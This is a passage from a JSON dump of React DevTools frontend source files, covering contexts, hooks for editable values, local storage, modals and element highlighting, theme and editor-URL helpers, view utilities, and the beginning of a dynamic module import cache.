    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactContext} from 'shared/ReactTypes';\nimport {createContext} from 'react';\nimport Store from '../store';\n\nimport type {ViewAttributeSource} from 'react-devtools-shared/src/devtools/views/DevTools';\nimport type {FrontendBridge} from 'react-devtools-shared/src/bridge';\n\nexport const BridgeContext: ReactContext<FrontendBridge> =\n  createContext<FrontendBridge>(((null: any): FrontendBridge));\nBridgeContext.displayName = 'BridgeContext';\n\nexport const StoreContext: ReactContext<Store> = createContext<Store>(\n  ((null: any): Store),\n);\nStoreContext.displayName = 'StoreContext';\n\nexport type ContextMenuContextType = {\n  isEnabledForInspectedElement: boolean,\n  viewAttributeSourceFunction: ViewAttributeSource | null,\n};\n\nexport const ContextMenuContext: ReactContext<ContextMenuContextType> =\n  createContext<ContextMenuContextType>({\n    isEnabledForInspectedElement: false,\n    viewAttributeSourceFunction: null,\n  });\nContextMenuContext.displayName = 'ContextMenuContext';\n\nexport type OptionsContextType = {\n  readOnly: boolean,\n  hideSettings: boolean,\n  hideToggleErrorAction: boolean,\n  hideToggleSuspenseAction: boolean,\n  hideLogAction: boolean,\n  hideViewSourceAction: boolean,\n};\n\nexport const OptionsContext: ReactContext<OptionsContextType> =\n  createContext<OptionsContextType>({\n    readOnly: false,\n    hideSettings: false,\n    hideToggleErrorAction: false,\n    hideToggleSuspenseAction: false,\n    hideLogAction: false,\n    hideViewSourceAction: false,\n  });\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/hooks.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {\n  useCallback,\n  useEffect,\n  useLayoutEffect,\n  useReducer,\n  useState,\n  useSyncExternalStore,\n  useContext,\n} from 'react';\nimport {\n  localStorageGetItem,\n  localStorageSetItem,\n} from 'react-devtools-shared/src/storage';\nimport {StoreContext, BridgeContext} from './context';\nimport {sanitizeForParse, smartParse, smartStringify} from '../utils';\n\ntype ACTION_RESET = {\n  type: 'RESET',\n  externalValue: any,\n};\ntype ACTION_UPDATE = {\n  type: 'UPDATE',\n  editableValue: any,\n  externalValue: any,\n};\n\ntype UseEditableValueAction = ACTION_RESET | ACTION_UPDATE;\ntype UseEditableValueDispatch = (action: UseEditableValueAction) => void;\ntype UseEditableValueState = {\n  editableValue: any,\n  externalValue: any,\n  hasPendingChanges: boolean,\n  isValid: boolean,\n  parsedValue: any,\n};\n\nfunction useEditableValueReducer(\n  state: UseEditableValueState,\n  action: UseEditableValueAction,\n) {\n  switch (action.type) {\n    case 'RESET':\n      return {\n        ...state,\n        editableValue: smartStringify(action.externalValue),\n        externalValue: action.externalValue,\n        hasPendingChanges: false,\n        isValid: true,\n        parsedValue: action.externalValue,\n      };\n    case 'UPDATE':\n      let isNewValueValid = false;\n      let newParsedValue;\n      try {\n        newParsedValue = smartParse(action.editableValue);\n        isNewValueValid = true;\n      } catch (error) {}\n      return {\n        ...state,\n        editableValue: sanitizeForParse(action.editableValue),\n        externalValue: action.externalValue,\n        hasPendingChanges:\n          smartStringify(action.externalValue) !== action.editableValue,\n        isValid: isNewValueValid,\n        parsedValue: isNewValueValid ? newParsedValue : state.parsedValue,\n      };\n    default:\n      throw new Error(`Invalid action \"${action.type}\"`);\n  }\n}\n\n// Convenience hook for working with an editable value that is validated via JSON.parse.\nexport function useEditableValue(\n  externalValue: any,\n): [UseEditableValueState, UseEditableValueDispatch] {\n  const [state, dispatch] = useReducer<\n    UseEditableValueState,\n    UseEditableValueState,\n    UseEditableValueAction,\n  >(useEditableValueReducer, {\n    editableValue: smartStringify(externalValue),\n    externalValue,\n    hasPendingChanges: false,\n    isValid: true,\n    parsedValue: externalValue,\n  });\n  if (!Object.is(state.externalValue, externalValue)) {\n    if (!state.hasPendingChanges) {\n      dispatch({\n        type: 'RESET',\n        externalValue,\n      });\n    } else {\n      dispatch({\n        type: 'UPDATE',\n        editableValue: state.editableValue,\n        externalValue,\n      });\n    }\n  }\n\n  return [state, dispatch];\n}\n\nexport function useIsOverflowing(\n  containerRef: {current: HTMLDivElement | null},\n  totalChildWidth: number,\n): boolean {\n  const [isOverflowing, setIsOverflowing] = useState<boolean>(false);\n\n  // It's important to use a layout effect, so that we avoid showing a flash of overflowed content.\n  useLayoutEffect(() => {\n    const container = containerRef.current;\n    if (container === null) {\n      return;\n    }\n\n    // ResizeObserver on the global did not fire for the extension.\n    // We need to grab the ResizeObserver from the container's window.\n    const ResizeObserver = container.ownerDocument.defaultView.ResizeObserver;\n    const observer = new ResizeObserver(entries => {\n      const entry = entries[0];\n      const contentWidth = entry.contentRect.width;\n      setIsOverflowing(\n        contentWidth <=\n          // We need to treat the box as overflowing when you're just\n          // about to overflow.\n          // Otherwise you won't be able to resize panes with custom resize handles.\n          // Previously we were relying on clientWidth which is already rounded.\n          // We don't want to read that again since that would trigger another layout.\n          totalChildWidth + 1,\n      );\n    });\n\n    observer.observe(container);\n\n    return observer.disconnect.bind(observer);\n  }, [containerRef, totalChildWidth]);\n\n  return isOverflowing;\n}\n\n// Forked from https://usehooks.com/useLocalStorage/\nexport function useLocalStorage<T>(\n  key: string,\n  initialValue: T | (() => T),\n  onValueSet?: (any, string) => void,\n): [T, (value: T | (() => T)) => void] {\n  const getValueFromLocalStorage = useCallback(() => {\n    try {\n      const item = localStorageGetItem(key);\n      if (item != null) {\n        return JSON.parse(item);\n      }\n    } catch (error) {\n      console.log(error);\n    }\n    if (typeof initialValue === 'function') {\n      return ((initialValue: any): () => T)();\n    } else {\n      return initialValue;\n    }\n  }, [initialValue, key]);\n\n  const storedValue = useSyncExternalStore(\n    useCallback(\n      function subscribe(callback) {\n        window.addEventListener(key, callback);\n        return function unsubscribe() {\n          window.removeEventListener(key, callback);\n        };\n      },\n      [key],\n    ),\n    getValueFromLocalStorage,\n  );\n\n  const setValue = useCallback(\n    (value: $FlowFixMe) => {\n      try {\n        const valueToStore =\n          value instanceof Function ? (value: any)(storedValue) : value;\n        localStorageSetItem(key, JSON.stringify(valueToStore));\n\n        // Notify listeners that this setting has changed.\n        window.dispatchEvent(new Event(key));\n\n        if (onValueSet != null) {\n          onValueSet(valueToStore, key);\n        }\n      } catch (error) {\n        console.log(error);\n      }\n    },\n    [key, storedValue],\n  );\n\n  // Listen for changes to this local storage value made from other windows.\n  // This enables the e.g. \"⚛ Elements\" tab to update in response to changes from \"⚛ Settings\".\n  useLayoutEffect(() => {\n    // $FlowFixMe[missing-local-annot]\n    const onStorage = event => {\n      const newValue = getValueFromLocalStorage();\n      if (key === event.key && storedValue !== newValue) {\n        setValue(newValue);\n      }\n    };\n\n    window.addEventListener('storage', onStorage);\n    return () => {\n      window.removeEventListener('storage', onStorage);\n    };\n  }, [getValueFromLocalStorage, key, storedValue, setValue]);\n\n  return [storedValue, setValue];\n}\n\nexport function useModalDismissSignal(\n  modalRef: {current: HTMLDivElement | null, ...},\n  dismissCallback: () => void,\n  dismissOnClickOutside?: boolean = true,\n): void {\n  useEffect(() => {\n    if (modalRef.current === null) {\n      return () => {};\n    }\n\n    const handleRootNodeKeyDown = (event: KeyboardEvent) => {\n      if (event.key === 'Escape') {\n        dismissCallback();\n      }\n    };\n\n    const handleRootNodeClick: MouseEventHandler = event => {\n      if (\n        modalRef.current !== null &&\n        /* $FlowExpectedError[incompatible-call] Instead of dealing with possibly multiple realms\n         and multiple Node references to comply with Flow (e.g. checking with `event.target instanceof Node`)\n         just delegate it to contains call */\n        !modalRef.current.contains(event.target)\n      ) {\n        event.stopPropagation();\n        event.preventDefault();\n\n        dismissCallback();\n      }\n    };\n\n    let modalRootNode = null;\n\n    // Delay until after the current call stack is empty,\n    // in case this effect is being run while an event is currently bubbling.\n    // In that case, we don't want to listen to the pre-existing event.\n    let timeoutID: null | TimeoutID = setTimeout(() => {\n      timeoutID = null;\n\n      // It's important to listen to the ownerDocument to support the browser extension.\n      // Here we use portals to render individual tabs (e.g. Profiler),\n      // and the root document might belong to a different window.\n      const modalDOMElement = modalRef.current;\n      if (modalDOMElement != null) {\n        modalRootNode = modalDOMElement.getRootNode();\n        modalRootNode.addEventListener('keydown', handleRootNodeKeyDown);\n        if (dismissOnClickOutside) {\n          modalRootNode.addEventListener('click', handleRootNodeClick, true);\n        }\n      }\n    }, 0);\n\n    return () => {\n      if (timeoutID !== null) {\n        clearTimeout(timeoutID);\n      }\n\n      if (modalRootNode !== null) {\n        modalRootNode.removeEventListener('keydown', handleRootNodeKeyDown);\n        modalRootNode.removeEventListener('click', handleRootNodeClick, true);\n      }\n    };\n  }, [modalRef, dismissCallback, dismissOnClickOutside]);\n}\n\n// Copied from https://github.com/facebook/react/pull/15022\nexport function useSubscription<Value>({\n  getCurrentValue,\n  subscribe,\n}: {\n  getCurrentValue: () => Value,\n  subscribe: (callback: Function) => () => void,\n}): Value {\n  const [state, setState] = useState(() => ({\n    getCurrentValue,\n    subscribe,\n    value: getCurrentValue(),\n  }));\n\n  if (\n    state.getCurrentValue !== getCurrentValue ||\n    state.subscribe !== subscribe\n  ) {\n    setState({\n      getCurrentValue,\n      subscribe,\n      value: getCurrentValue(),\n    });\n  }\n\n  useEffect(() => {\n    let didUnsubscribe = false;\n\n    const checkForUpdates = () => {\n      if (didUnsubscribe) {\n        return;\n      }\n\n      setState(prevState => {\n        if (\n          prevState.getCurrentValue !== getCurrentValue ||\n          prevState.subscribe !== subscribe\n        ) {\n          return prevState;\n        }\n\n        const value = getCurrentValue();\n        if (prevState.value === value) {\n          return prevState;\n        }\n\n        return {...prevState, value};\n      });\n    };\n    const unsubscribe = subscribe(checkForUpdates);\n\n    checkForUpdates();\n\n    return () => {\n      didUnsubscribe = true;\n      unsubscribe();\n    };\n  }, [getCurrentValue, subscribe]);\n\n  return state.value;\n}\n\nexport function useHighlightHostInstance(): {\n  clearHighlightHostInstance: () => void,\n  highlightHostInstance: (id: number, scrollIntoView?: boolean) => void,\n} {\n  const bridge = useContext(BridgeContext);\n  const store = useContext(StoreContext);\n\n  const highlightHostInstance = useCallback(\n    (id: number, scrollIntoView?: boolean = false) => {\n      const element = store.getElementByID(id);\n      if (element !== null) {\n        const isRoot = element.parentID === 0;\n        let displayName = element.displayName;\n        if (displayName !== null && element.nameProp !== null) {\n          displayName += ` name=\"${element.nameProp}\"`;\n        }\n        if (isRoot) {\n          // Inspect screen\n          const elements: Array<{rendererID: number, id: number}> = [];\n\n          for (let i = 0; i < store.roots.length; i++) {\n            const rootID = store.roots[i];\n            const rendererID = store.getRendererIDForElement(rootID);\n            if (rendererID === null) {\n              continue;\n            }\n            elements.push({rendererID, id: rootID});\n          }\n\n          bridge.send('highlightHostInstances', {\n            displayName,\n            hideAfterTimeout: false,\n            elements,\n            scrollIntoView: scrollIntoView,\n          });\n        } else {\n          const rendererID = store.getRendererIDForElement(id);\n          if (rendererID !== null) {\n            bridge.send('highlightHostInstance', {\n              displayName,\n              hideAfterTimeout: false,\n              id,\n              openBuiltinElementsPanel: false,\n              rendererID,\n              scrollIntoView: scrollIntoView,\n            });\n          }\n        }\n      }\n    },\n    [store, bridge],\n  );\n\n  const clearHighlightHostInstance = useCallback(() => {\n    bridge.send('clearHostInstanceHighlight');\n  }, [bridge]);\n\n  return {\n    highlightHostInstance,\n    clearHighlightHostInstance,\n  };\n}\n\nexport function useScrollToHostInstance(): (id: number) => void {\n  const bridge = useContext(BridgeContext);\n  const store = useContext(StoreContext);\n\n  const scrollToHostInstance = useCallback(\n    (id: number) => {\n      const element = store.getElementByID(id);\n      const rendererID = store.getRendererIDForElement(id);\n      if (element !== null && rendererID !== null) {\n        bridge.send('scrollToHostInstance', {\n          id,\n          rendererID,\n        });\n      }\n    },\n    [store, bridge],\n  );\n\n  return scrollToHostInstance;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/portaledContent.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {useContext} from 'react';\nimport {createPortal} from 'react-dom';\nimport ErrorBoundary from './ErrorBoundary';\nimport {StoreContext} from './context';\nimport ThemeProvider from './ThemeProvider';\n\nexport type Props = {portalContainer?: Element, ...};\n\nexport default function portaledContent(\n  Component: component(...props: any),\n): component(...props: any) {\n  return function PortaledContent({portalContainer, ...rest}: Props) {\n    const store = useContext(StoreContext);\n\n    let children = (\n      <ErrorBoundary store={store}>\n        <Component {...rest} />\n      </ErrorBoundary>\n    );\n\n    if (portalContainer != null) {\n      // The ThemeProvider works by writing DOM style variables to an HTMLDivElement.\n      // Because Portals render in a different DOM subtree, these variables don't propagate.\n      // So in this case, we need to re-wrap portaled content in a second ThemeProvider.\n      children = (\n        <ThemeProvider>\n          <div\n            data-react-devtools-portal-root={true}\n            style={{\n              width: '100vw',\n              height: '100vh',\n              containerName: 'devtools',\n              containerType: 'inline-size',\n            }}>\n            {children}\n          </div>\n        </ThemeProvider>\n      );\n    }\n\n    return portalContainer != null\n      ? createPortal(children, portalContainer)\n      : children;\n  };\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/root.css",
    "content": ":is(:root, :host) {\n  /* Font smoothing */\n  --font-smoothing: auto;\n\n  /* GitHub.com system fonts */\n  --font-family-monospace: 'SFMono-Regular', Consolas, 'Liberation Mono', Menlo,\n    Courier, monospace;\n  --font-family-sans: -apple-system, BlinkMacSystemFont, Segoe UI, Helvetica,\n    Arial, sans-serif, Apple Color Emoji, Segoe UI Emoji, Segoe UI Symbol;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/useEditorURL.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {useCallback, useSyncExternalStore} from 'react';\n\nimport {getOpenInEditorURL} from '../../utils';\nimport {\n  LOCAL_STORAGE_OPEN_IN_EDITOR_URL,\n  LOCAL_STORAGE_OPEN_IN_EDITOR_URL_PRESET,\n} from '../../constants';\n\nconst useEditorURL = (): string => {\n  const editorURL = useSyncExternalStore(\n    useCallback(function subscribe(callback) {\n      window.addEventListener(LOCAL_STORAGE_OPEN_IN_EDITOR_URL, callback);\n      window.addEventListener(\n        LOCAL_STORAGE_OPEN_IN_EDITOR_URL_PRESET,\n        callback,\n      );\n      return function unsubscribe() {\n        window.removeEventListener(LOCAL_STORAGE_OPEN_IN_EDITOR_URL, callback);\n        window.removeEventListener(\n          LOCAL_STORAGE_OPEN_IN_EDITOR_URL_PRESET,\n          callback,\n        );\n      };\n    }, []),\n    getOpenInEditorURL,\n  );\n  return editorURL;\n};\n\nexport default useEditorURL;\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/useInferredName.js",
    "content": "import {use, useContext, useDeferredValue} from 'react';\n\nimport type {ReactCallSite} from 'shared/ReactTypes';\n\nimport type {SourceMappedLocation} from 'react-devtools-shared/src/symbolicateSource';\n\nimport type {SerializedAsyncInfo} from 'react-devtools-shared/src/frontend/types';\n\nimport FetchFileWithCachingContext from './Components/FetchFileWithCachingContext';\n\nimport {symbolicateSourceWithCache} from 'react-devtools-shared/src/symbolicateSource';\n\nexport default function useInferredName(\n  asyncInfo: SerializedAsyncInfo,\n): string {\n  const fetchFileWithCaching = useContext(FetchFileWithCachingContext);\n  const name = asyncInfo.awaited.name;\n  let inferNameFromStack = null;\n  if (!name || name === 'Promise' || name === 'lazy') {\n    // If all we have is a generic name, we can try to infer a better name from\n    // the stack. We only do this if the stack has more than one frame since\n    // otherwise it's likely to just be the name of the component which isn't better.\n    const bestStack = asyncInfo.awaited.stack || asyncInfo.stack;\n    if (bestStack !== null && bestStack.length > 1) {\n      inferNameFromStack = bestStack;\n    }\n  }\n  // Start by not source mapping and just taking the first name and upgrade to\n  // the better name asynchronously if we find one. Most of the time it'll just be\n  // the top of the stack.\n  const shouldSourceMap = useDeferredValue(inferNameFromStack !== null, false);\n  if (inferNameFromStack !== null) {\n    if (shouldSourceMap) {\n      let bestMatch = '';\n      for (let i = 0; i < inferNameFromStack.length; i++) {\n        const callSite: ReactCallSite = inferNameFromStack[i];\n        const [virtualFunctionName, virtualURL, virtualLine, virtualColumn] =\n          callSite;\n        const symbolicatedCallSite: null | SourceMappedLocation =\n          fetchFileWithCaching !== null\n            ? use(\n                symbolicateSourceWithCache(\n                  fetchFileWithCaching,\n                  virtualURL,\n                  virtualLine,\n                  virtualColumn,\n                ),\n              )\n            : null;\n        if (symbolicatedCallSite === null) {\n          // If we can't source map, we treat it as first party code. We called whatever was\n          // the previous callsite.\n          if (bestMatch === '') {\n            return virtualFunctionName || name;\n          } else {\n            return bestMatch;\n          }\n        } else if (!symbolicatedCallSite.ignored) {\n          if (bestMatch === '') {\n            // If we had no good stack frames for internal calls, just use the last\n            // first party function name.\n            return symbolicatedCallSite[0] || virtualFunctionName || name;\n          } else {\n            return bestMatch;\n          }\n        } else {\n          // This line was ignore listed, it might be the one we called into from first party.\n          bestMatch = symbolicatedCallSite[0] || virtualFunctionName;\n        }\n      }\n      return name;\n    } else {\n      return inferNameFromStack[0][0];\n    }\n  } else {\n    return name;\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/useOpenResource.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactFunctionLocation, ReactCallSite} from 'shared/ReactTypes';\n\nimport {useCallback, useContext, useSyncExternalStore} from 'react';\n\nimport ViewElementSourceContext from './Components/ViewElementSourceContext';\n\nimport {getAlwaysOpenInEditor} from '../../utils';\nimport useEditorURL from './useEditorURL';\nimport {LOCAL_STORAGE_ALWAYS_OPEN_IN_EDITOR} from '../../constants';\n\nimport {checkConditions} from './Editor/utils';\n\nconst useOpenResource = (\n  source: null | ReactFunctionLocation | ReactCallSite,\n  symbolicatedSource: null | ReactFunctionLocation | ReactCallSite,\n): [\n  boolean, // isEnabled\n  () => void, // Open Resource\n] => {\n  const {canViewElementSourceFunction, viewElementSourceFunction} = useContext(\n    ViewElementSourceContext,\n  );\n\n  const editorURL = useEditorURL();\n\n  const alwaysOpenInEditor = useSyncExternalStore(\n    useCallback(function subscribe(callback) {\n      window.addEventListener(LOCAL_STORAGE_ALWAYS_OPEN_IN_EDITOR, callback);\n      return function unsubscribe() {\n        window.removeEventListener(\n          LOCAL_STORAGE_ALWAYS_OPEN_IN_EDITOR,\n          callback,\n        );\n      };\n    }, []),\n    getAlwaysOpenInEditor,\n  );\n\n  // First check if this link is eligible for being open directly in the configured editor.\n  const openInEditor =\n    alwaysOpenInEditor && source !== null\n      ? checkConditions(editorURL, symbolicatedSource || source)\n      : null;\n  // In some cases (e.g. FB internal usage) the standalone shell might not be able to view the source.\n  // To detect this case, we defer to an injected helper function (if present).\n  const linkIsEnabled =\n    (openInEditor !== null && !openInEditor.shouldDisableButton) ||\n    (viewElementSourceFunction != null &&\n      source != null &&\n      (canViewElementSourceFunction == null ||\n        canViewElementSourceFunction(source, symbolicatedSource)));\n\n  const viewSource = useCallback(() => {\n    if (openInEditor !== null && !openInEditor.shouldDisableButton) {\n      // If we have configured to always open in the code editor, we do so if we can.\n      // Otherwise, we fallback to open in the local editor if possible (e.g. non-file urls).\n      window.open(openInEditor.url);\n    } else if (viewElementSourceFunction != null && source != null) {\n      viewElementSourceFunction(source, symbolicatedSource);\n    }\n  }, [openInEditor, source, symbolicatedSource]);\n\n  return [linkIsEnabled, viewSource];\n};\n\nexport default useOpenResource;\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/useThemeStyles.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {useContext, useMemo} from 'react';\nimport {SettingsContext} from './Settings/SettingsContext';\nimport {THEME_STYLES} from '../constants';\n\nconst useThemeStyles = (): any => {\n  const {theme, displayDensity, browserTheme} = useContext(SettingsContext);\n\n  const style = useMemo(\n    () => ({\n      ...THEME_STYLES[displayDensity],\n      ...THEME_STYLES[theme === 'auto' ? browserTheme : theme],\n    }),\n    [theme, browserTheme, displayDensity],\n  );\n\n  return style;\n};\n\nexport default useThemeStyles;\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/utils.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport escapeStringRegExp from 'escape-string-regexp';\nimport {meta} from '../../hydration';\nimport {formatDataForPreview} from '../../utils';\nimport isArray from 'react-devtools-shared/src/isArray';\n\nimport type {HooksTree} from 'react-debug-tools/src/ReactDebugHooks';\n\n// $FlowFixMe[method-unbinding]\nconst hasOwnProperty = Object.prototype.hasOwnProperty;\n\nexport function alphaSortEntries(\n  entryA: [string, mixed],\n  entryB: [string, mixed],\n): number {\n  const a = entryA[0];\n  const b = entryB[0];\n  if (String(+a) === a) {\n    if (String(+b) !== b) {\n      return -1;\n    }\n    return +a < +b ? -1 : 1;\n  }\n  return a < b ? -1 : 1;\n}\n\nexport function createRegExp(string: string): RegExp {\n  // Allow /regex/ syntax with optional last /\n  if (string[0] === '/') {\n    // Cut off first slash\n    string = string.slice(1);\n    // Cut off last slash, but only if it's there\n    if (string[string.length - 1] === '/') {\n      string = string.slice(0, string.length - 1);\n    }\n    try {\n      return new RegExp(string, 'i');\n    } catch (err) {\n      // Bad regex. Make it not match anything.\n      // TODO: maybe warn in console?\n      return new RegExp('.^');\n    }\n  }\n\n  function isLetter(char: string) {\n    return char.toLowerCase() !== char.toUpperCase();\n  }\n\n  function matchAnyCase(char: string) {\n    if (!isLetter(char)) {\n      // Don't mess with special characters like [.\n      return char;\n    }\n    return '[' + char.toLowerCase() + char.toUpperCase() + ']';\n  }\n\n  // 'item' should match 'Item' and 'ListItem', but not 'InviteMom'.\n  // To do this, we'll slice off 'tem' and check first letter separately.\n  const escaped = escapeStringRegExp(string);\n  const firstChar = escaped[0];\n  let restRegex = '';\n  // For 'item' input, restRegex becomes '[tT][eE][mM]'\n  // We can't simply make it case-insensitive because first letter case matters.\n  for (let i = 1; i < escaped.length; i++) {\n    restRegex += matchAnyCase(escaped[i]);\n  }\n\n  if (!isLetter(firstChar)) {\n    // We can't put a non-character like [ in a group\n    // so we fall back to the simple case.\n    return new RegExp(firstChar + restRegex);\n  }\n\n  // Construct a smarter regex.\n  return new RegExp(\n    // For example:\n    // (^[iI]|I)[tT][eE][mM]\n    // Matches:\n    // 'Item'\n    // 'ListItem'\n    // but not 'InviteMom'\n    '(^' +\n      matchAnyCase(firstChar) +\n      '|' +\n      firstChar.toUpperCase() +\n      ')' +\n      restRegex,\n  );\n}\n\nexport function getMetaValueLabel(data: Object): string | null {\n  if (hasOwnProperty.call(data, meta.preview_long)) {\n    return data[meta.preview_long];\n  } else {\n    return formatDataForPreview(data, true);\n  }\n}\n\nfunction sanitize(data: Object): void {\n  for (const key in data) {\n    const value = data[key];\n\n    if (value && value[meta.type]) {\n      data[key] = getMetaValueLabel(value);\n    } else if (value != null) {\n      if (isArray(value)) {\n        sanitize(value);\n      } else if (typeof value === 'object') {\n        sanitize(value);\n      }\n    }\n  }\n}\n\nexport function serializeDataForCopy(props: Object): string {\n  const cloned = isArray(props) ? props.slice(0) : Object.assign({}, props);\n\n  sanitize(cloned);\n\n  try {\n    return JSON.stringify(cloned, null, 2);\n  } catch (error) {\n    return '';\n  }\n}\n\nexport function serializeHooksForCopy(hooks: HooksTree | null): string {\n  // $FlowFixMe[not-an-object] \"HooksTree is not an object\"\n  const cloned = Object.assign(([]: Array<any>), hooks);\n\n  const queue = [...cloned];\n\n  while (queue.length > 0) {\n    const current = queue.pop();\n\n    // These aren't meaningful\n    // $FlowFixMe[incompatible-use]\n    delete current.id;\n    // $FlowFixMe[incompatible-use]\n    delete current.isStateEditable;\n\n    // $FlowFixMe[incompatible-use]\n    if (current.subHooks.length > 0) {\n      // $FlowFixMe[incompatible-use]\n      queue.push(...current.subHooks);\n    }\n  }\n\n  sanitize(cloned);\n\n  try {\n    return JSON.stringify(cloned, null, 2);\n  } catch (error) {\n    return '';\n  }\n}\n\n// Keeping this in memory seems to be enough to enable the browser to download larger profiles.\n// Without this, we would see a \"Download failed: network error\" failure.\nlet downloadUrl = null;\n\nexport function downloadFile(\n  element: HTMLAnchorElement,\n  filename: string,\n  text: string,\n): void {\n  const blob = new Blob([text], {type: 'text/plain;charset=utf-8'});\n\n  if (downloadUrl !== null) {\n    URL.revokeObjectURL(downloadUrl);\n  }\n\n  downloadUrl = URL.createObjectURL(blob);\n\n  element.setAttribute('href', downloadUrl);\n  element.setAttribute('download', filename);\n\n  element.click();\n}\n\nexport function truncateText(text: string, maxLength: number): string {\n  const {length} = text;\n  if (length > maxLength) {\n    return (\n      text.slice(0, Math.floor(maxLength / 2)) +\n      '…' +\n      text.slice(length - Math.ceil(maxLength / 2) - 1)\n    );\n  } else {\n    return text;\n  }\n}\n\nexport function pluralize(word: string): string {\n  if (!/^[a-z]+$/i.test(word)) {\n    // If it's not a single a-z word, give up.\n    return word;\n  }\n\n  // Bail out if it's already plural.\n  switch (word) {\n    case 'men':\n    case 'women':\n    case 'children':\n    case 'feet':\n    case 'teeth':\n    case 'mice':\n    case 'people':\n      return word;\n  }\n\n  if (\n    /(ches|shes|ses|xes|zes)$/i.test(word) ||\n    /[^s]ies$/i.test(word) ||\n    /ves$/i.test(word) ||\n    /[^s]s$/i.test(word)\n  ) {\n    return word;\n  }\n\n  switch (word) {\n    case 'man':\n      return 'men';\n    case 'woman':\n      return 'women';\n    case 'child':\n      return 'children';\n    case 'foot':\n      return 'feet';\n    case 'tooth':\n      return 'teeth';\n    case 'mouse':\n      return 'mice';\n    case 'person':\n      return 'people';\n  }\n\n  // Words ending in s, x, z, ch, sh → add \"es\"\n  if (/(s|x|z|ch|sh)$/i.test(word)) return word + 'es';\n\n  // Words ending in consonant + y → replace y with \"ies\"\n  if (/[bcdfghjklmnpqrstvwxz]y$/i.test(word)) return word.slice(0, -1) + 'ies';\n\n  // Words ending in f or fe → replace with \"ves\"\n  if (/(?:f|fe)$/i.test(word)) return word.replace(/(?:f|fe)$/i, 'ves');\n\n  // Default: just add \"s\"\n  return word + 's';\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/dynamicImportCache.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {__DEBUG__} from 'react-devtools-shared/src/constants';\n\nimport type {\n  Thenable,\n  FulfilledThenable,\n  RejectedThenable,\n} from 'shared/ReactTypes';\n\nimport * as React from 'react';\n\nconst TIMEOUT = 30000;\n\ntype Module = any;\ntype ModuleLoaderFunction = () => Thenable<Module>;\n\n// This is intentionally a module-level Map, rather than a React-managed one.\n// Otherwise, refreshing the inspected element cache would also clear this cache.\n// Modules are static anyway.\nconst moduleLoaderFunctionToModuleMap: Map<ModuleLoaderFunction, Module> =\n  new Map();\nfunction readRecord<T>(record: Thenable<T>): T | null {\n  if (typeof React.use === 'function') {\n    try {\n      // eslint-disable-next-line react-hooks-published/rules-of-hooks\n      return React.use(record);\n    } catch (x) {\n      if (x === null) {\n        return null;\n      }\n      throw x;\n    }\n  }\n  if (record.status === 'fulfilled') {\n    return record.value;\n  } else if (record.status === 'rejected') {\n    return null;\n  } else {\n    throw record;\n  }\n}\n\n// TODO Flow type\nexport function loadModule(moduleLoaderFunction: ModuleLoaderFunction): Module {\n  let record = moduleLoaderFunctionToModuleMap.get(moduleLoaderFunction);\n\n  if (__DEBUG__) {\n    console.log(\n      `[dynamicImportCache] loadModule(\"${moduleLoaderFunction.name}\")`,\n    );\n  }\n\n  if (!record) {\n    const callbacks = new Set<(value: any) => mixed>();\n    const rejectCallbacks = new Set<(reason: mixed) => mixed>();\n    const thenable: Thenable<Module> = {\n      status: 'pending',\n      value: null,\n      reason: null,\n      then(callback: (value: any) => mixed, reject: (error: mixed) => mixed) {\n        callbacks.add(callback);\n        rejectCallbacks.add(reject);\n      },\n\n      // Optional property used by Timeline:\n      displayName: `Loading module \"${moduleLoaderFunction.name}\"`,\n    };\n\n    const wake = () => {\n      if (timeoutID) {\n        clearTimeout(timeoutID);\n        timeoutID = null;\n      }\n\n      // This assumes they won't throw.\n      callbacks.forEach(callback => callback());\n      callbacks.clear();\n      rejectCallbacks.clear();\n    };\n    const wakeRejections = () => {\n      if (timeoutID) {\n        clearTimeout(timeoutID);\n        timeoutID = null;\n      }\n\n      // This assumes they won't throw.\n      rejectCallbacks.forEach(callback => callback((thenable: any).reason));\n      rejectCallbacks.clear();\n      callbacks.clear();\n    };\n\n    record = thenable;\n\n    let didTimeout = false;\n\n    moduleLoaderFunction().then(\n      module => {\n        if (__DEBUG__) {\n          console.log(\n            `[dynamicImportCache] loadModule(\"${moduleLoaderFunction.name}\") then()`,\n          );\n        }\n\n        if (didTimeout) {\n          return;\n        }\n\n        const fulfilledThenable: FulfilledThenable<Module> = (thenable: any);\n        fulfilledThenable.status = 'fulfilled';\n        fulfilledThenable.value = module;\n\n        wake();\n      },\n      error => {\n        if (__DEBUG__) {\n          console.log(\n  